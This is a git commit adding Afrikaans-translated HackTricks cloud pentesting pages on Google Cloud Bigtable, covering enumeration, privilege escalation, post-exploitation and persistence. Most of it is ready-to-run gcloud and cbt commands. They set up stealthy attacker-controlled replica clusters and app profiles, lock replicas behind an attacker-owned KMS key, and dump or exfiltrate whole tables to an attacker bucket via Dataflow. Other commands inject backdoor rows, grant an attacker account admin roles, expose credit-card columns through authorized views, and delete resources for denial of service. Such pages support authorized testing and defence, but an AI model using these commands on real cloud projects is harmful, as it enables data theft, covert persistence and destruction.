Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:47:10 +00:00
parent 023f932cd8
commit 65c31160cc
4 changed files with 497 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable Persistensie
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Vir meer inligting oor Bigtable, kyk:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Toegewyd aanvaller App Profile
**Permissies:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Skep 'n app profile wat verkeer na jou replica cluster herlei en skakel Data Boost aan sodat jy nooit op provisioned nodes afhanklik is wat verdedigers mag opmerk nie.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Solank hierdie profiel bestaan, kan jy weer koppel met vars credentials wat daarna verwys.
### Onderhou jou eie replika-kluster
**Permissies:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Skep 'n kluster met 'n minimale node-count in 'n stil streek. Selfs as jou client-identiteite verdwyn, **hou die kluster 'n volle kopie van elke tabel** totdat verdedigers dit uitdruklik verwyder.
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Hou dit dop met `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` sodat jy onmiddellik kan opskaal wanneer jy data moet uittrek.
### Sluit replikasie agter jou eie CMEK
**Permissies:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` op die sleutel wat aan die aanvaller behoort.
Neem jou eie KMS-sleutel wanneer jy 'n kloon opsit. Sonder daardie sleutel kan Google die cluster nie her-skep of fail over nie; blue teams moet dus eers met jou koördineer voordat hulle dit aanraak.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Draai of deaktiveer die sleutel in jou projek om die replica onmiddellik te brick (terwyl jy dit later steeds weer kan aanskakel).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Vir meer inligting oor Bigtable, kyk:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Installeer die `cbt` CLI eenmalig via die Cloud SDK sodat die onderstaande opdragte plaaslik werk:
>
> ```bash
> gcloud components install cbt
> ```
### Lees rye
**Permissies:** `bigtable.tables.readRows`
Die `cbt` kom met die Cloud SDK en kommunikeer direk met die admin/data APIs sonder enige middleware. Wys dit na die gekompromitteerde projek/instansie en dump rye direk vanaf die tabel. Beperk die skandering as jy net wil kyk.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Skryf rye
**Toestemmings:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hê om die verandering te bevestig).
Gebruik dieselfde hulpmiddel om arbitrêre selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` aanvaar ruwe bytes via die `@/path` sintaksis, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.
### Exfiltreer rye na jou bucket
**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Dit is moontlik om die inhoud van 'n volledige tabel na 'n bucket wat deur die aanvaller beheer word uit te voer deur 'n Dataflow job te loods wat rye na 'n GCS bucket wat jy beheer, stroom.
> [!NOTE]
> Let wel dat jy die permissie `iam.serviceAccounts.actAs` oor 'n SA met genoeg permissies sal benodig om die eksport uit te voer (by verstek, tensy anders aangedui, sal die standaard compute SA gebruik word).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
### Import rows
**Toestemmings:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Dit is moontlik om die inhoud van 'n hele tabel in te voer vanaf 'n bucket wat deur die aanvaller beheer word deur 'n Dataflow-job te loods wat rye na 'n GCS-bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lêer moet skep met die data wat ingevoer moet word en die verwagte schema. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lêer voeg
> [!NOTE]
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### Herstel van backups
**Toestemmings:** `bigtable.backups.restore`, `bigtable.tables.create`.
'n aanvaller met hierdie toestemmings kan 'n backup na 'n nuwe tabel onder sy beheer herstel om toegang tot ou sensitiewe data te kry.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### Herstel verwyderde tabelle
**Permissies:** `bigtable.tables.undelete`
Bigtable ondersteun sagte verwydering met 'n respytperiode (gewoonlik 7 dae standaard). Gedurende hierdie venster kan 'n attacker met die `bigtable.tables.undelete` permissie 'n onlangs verwyderde tabel herstel en al die data daarvan terugkry, moontlik toegang verkry tot sensitiewe inligting wat as vernietig beskou is.
Dit is veral nuttig vir:
- Herstel van data uit tabelle wat deur defenders tydens incident response verwyder is
- Toegang tot historiese data wat doelbewus uitgevee is
- Om onopsetlike of kwaadwillige verwyderings om te keer om persistence te handhaaf
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> Die undelete-operasie werk slegs binne die gekonfigureerde retensieperiode (standaard 7 dae). Nadat hierdie venster verstryk het, word die tabel en die data permanent verwyder en kan nie deur hierdie metode herstel word nie.
### Skep Authorized Views
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Authorized views laat jou 'n gekose substel van die tabel aanbied. In plaas daarvan om least privilege te eerbiedig, gebruik dit om **presies die sensitiewe kolom-/rystelle** wat jou interesseer te publiseer en jou eie principal op die whitelist te plaas.
> [!WARNING]
> Die probleem is dat om 'n authorized view te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer; dus verwerf jy geen ekstra toestemming nie, en daarom is hierdie tegniek oor die algemeen nutteloos.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Omdat toegang tot die aansig beperk is, onderskat verdedigers dikwels die feit dat jy net 'n nuwe hoogs-sensitiewe eindpunt geskep het.
### Lees Gemagtigde Aansigte
**Permissies:** `bigtable.authorizedViews.readRows`
As jy toegang het tot 'n gemagtigde aansig, kan jy data daaruit lees met die Bigtable kliëntbiblioteke deur die naam van die gemagtigde aansig in jou leesversoeke te spesifiseer. Let wel dat die gemagtigde aansig waarskynlik sal beperk watter data jy uit die tabel kan kry. Hieronder is 'n voorbeeld in Python:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Enige van die Bigtable delete permissions kan gebruik word vir denial of service-aanvalle. 'n Aanvaller met hierdie permissions kan bedrywighede ontwrig deur kritieke Bigtable-bronne te delete:
- **`bigtable.appProfiles.delete`**: Delete application profiles, waardeur kliëntverbindings en roeteringskonfigurasies verbreek word
- **`bigtable.authorizedViews.delete`**: Remove authorized views, waardeur wettige toegangspade vir toepassings afgesny word
- **`bigtable.authorizedViews.deleteTagBinding`**: Remove tag bindings from authorized views, wat tag-bindings verwyder wat toegangskontroles kan beïnvloed
- **`bigtable.backups.delete`**: Destroy backup snapshots, waardeur rampherstelopsies uitgeskakel word
- **`bigtable.clusters.delete`**: Delete entire clusters, wat onmiddellike onbeskikbaarheid van data veroorsaak
- **`bigtable.instances.delete`**: Remove complete Bigtable instances, wat alle tabelle en konfigurasies uitwis
- **`bigtable.tables.delete`**: Delete individual tables, wat dataverlies en toepassingsfoute veroorsaak
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteun is voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,103 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Vir meer inligting oor Bigtable, sien:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Permissies:** `bigtable.instances.setIamPolicy` (en gewoonlik `bigtable.instances.getIamPolicy` om die huidige bindings te lees).
As jy die instansie IAM-beleid besit, kan jy jouself **`roles/bigtable.admin`** (of enige pasgemaakte rol) toeken wat na elke cluster, tabel, rugsteun en gemagtigde aansig in die instansie versprei.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> As jy nie die bestaande bindinge kan lys nie, stel 'n vars beleidsdokument op en stuur dit met `gcloud bigtable instances set-iam-policy` solank jy jouself daarop hou.
Nadat jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-permissies te misbruik.
### `bigtable.tables.setIamPolicy`
**Permissies:** `bigtable.tables.setIamPolicy` (opsioneel `bigtable.tables.getIamPolicy`).
Instansiebeleid kan streng beperk word terwyl individuele tabelle gedelegeer word. As jy die tabel IAM kan wysig, kan jy jouself **bevorder tot eienaar van die teiken-datastel** sonder om ander werkladinge te raak.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Sodra jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-toestemmings te misbruik.
### `bigtable.backups.setIamPolicy`
**Permissies:** `bigtable.backups.setIamPolicy`
Backups kan herstel word na **enige instansie in enige projek** wat jy beheer. Gee eers jou identiteit toegang tot die backup, en herstel dit dan in 'n sandbox waar jy Admin/Owner-rolle het.
As jy die permissie `bigtable.backups.setIamPolicy` het, kan jy jouself die permissie `bigtable.backups.restore` toeken om ou backups te herstel en te probeer toegang te kry tot sensitiewe inligting.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Nadat jy hierdie toestemming het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om 'n rugsteun te herstel.
### Opdateer authorized view
**Permissies:** `bigtable.authorizedViews.update`
Authorized Views is veronderstel om rye/kolomme te redigeer. Wysig of verwyder dit en jy verwyder die fynkorrelige beskerming waarop verdedigers staatmaak.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Raadpleeg die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om uit 'n Authorized View te lees.
### `bigtable.authorizedViews.setIamPolicy`
**Permissies:** `bigtable.authorizedViews.setIamPolicy`.
n Aanvaller met hierdie permissie kan hulself toegang gee tot n Authorized View, wat sensitiewe data kan bevat waartoe hulle andersins nie toegang sou hê nie.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Na hierdie toestemmingskontrole in die [**Bigtable Post Exploitation afdeling**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om vanaf 'n gemagtigde uitsig te lees.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
'n Volledig bestuurde, skaalbare NoSQL-databasisdiens vir groot analitiese en operasionele werklas met tot 99.999% beskikbaarheid. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable is 'n volledig bestuurde, skaalbare NoSQL-databasis wat ontwerp is vir toepassings wat buitengewoon hoë deurset en lae latensie vereis. Dit is gebou om massiewe hoeveelhede data te hanteer — petabytes oor duisende nodes — terwyl dit steeds vinnige lees- en skryfprestasie bied. Bigtable is ideaal vir werkladinge soos time-series data, IoT-telemetrie, finansiële analise, personaliseringsengines en groot-skaalse operasionele databasisse. Dit gebruik 'n spars, verspreide, veeldimensionele gesorteerde map as die onderliggende stoor-model, wat dit doeltreffend maak om breë tabelle te stoor waar baie kolomme leeg kan wees. [Learn more](https://cloud.google.com/bigtable).
### Hiërargie
1. **Bigtable Instansie**
'n Bigtable-instansie is die topvlak hulpbron wat jy skep.
Dit stoor nie data op sigself nie—dink daaraan as 'n logiese houer wat jou clusters en tabelle groepeer.
Twee tipes instansies bestaan:
- Development instance (single-node, goedkoop, nie vir produksie nie)
- Production instance (kan meerdere clusters hê)
2. **Clusters**
'n Cluster bevat die werklike compute- en stoorhulpbronne wat gebruik word om Bigtable-data te bedien.
- Elke cluster leef in 'n enkele streek.
- Dit bestaan uit nodes, wat CPU, RAM en netwerkvermoëns verskaf.
- Jy kan multi-cluster instansies skep vir hoë beskikbaarheid of globale lees/sryf.
- Data word outomaties gerepliseer tussen clusters in dieselfde instansie.
Belangrik:
- Tabelle behoort aan die instansie, nie aan 'n spesifieke cluster nie.
- Clusters verskaf bloot die hulpbronne om die data te bedien.
3. **Tabelle**
'n Tabel in Bigtable is soortgelyk aan 'n tabel in NoSQL-databasisse:
- Data word in rye gestoor, geïdentifiseer deur 'n row key.
- Elke ry bevat kolomfamilies, wat kolomme bevat.
- Dit is spars: leë selle verbruik nie ruimte nie.
- Bigtable stoor data gesorteer leksikografies volgens die row key.
Tabelle word bedien deur alle clusters in die instansie.
4. **Tablets (and Hot Tablets)**
Bigtable verdeel elke tabel in horisontale partisies genaamd tablets. 'n tablet is 'n:
- Aaneenlopende reeks van row keys.
- Gestoor op 'n enkele node op enige gegewe oomblik.
- Tablets word outomaties gesplit, saamgevoeg en verskuif deur Bigtable.
'n **Hot tablet** gebeur wanneer:
- Te veel lees- of skryfaksies dieselfde row-key-reeks (dieselfde tablet) tref.
- Daardie spesifieke tablet/node oorlaai raak.
- Dit lei tot hotspots (prestasie-vernouings).
5. **Authorized Views**
Authorized views laat jou toe om 'n substel van 'n tabel se data te skep wat gedeel kan word met spesifieke gebruikers of toepassings sonder om hulle toegang tot die hele tabel te gee. Dit is nuttig vir:
- Beperking van toegang tot sensitiewe data.
- Verskaffing van read-only toegang tot spesifieke kolomme of rye.
6. **App Profiles**
'n Bigtable app profile is 'n konfigurasie wat definieer hoe 'n spesifieke toepassing of kliënt met 'n Bigtable-instansie moet skakel, veral in omgewings met meerdere clusters. Dit beheer routeringsgedrag—of versoeke na 'n enkele cluster gestuur moet word of oor meerdere clusters versprei moet word vir hoë beskikbaarheid—en regeer hoe skryfaksies gerepliseer word, met keuses tussen sinchrone (sterker konsistensie) of asinchrone (laer latensie) modusse.
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}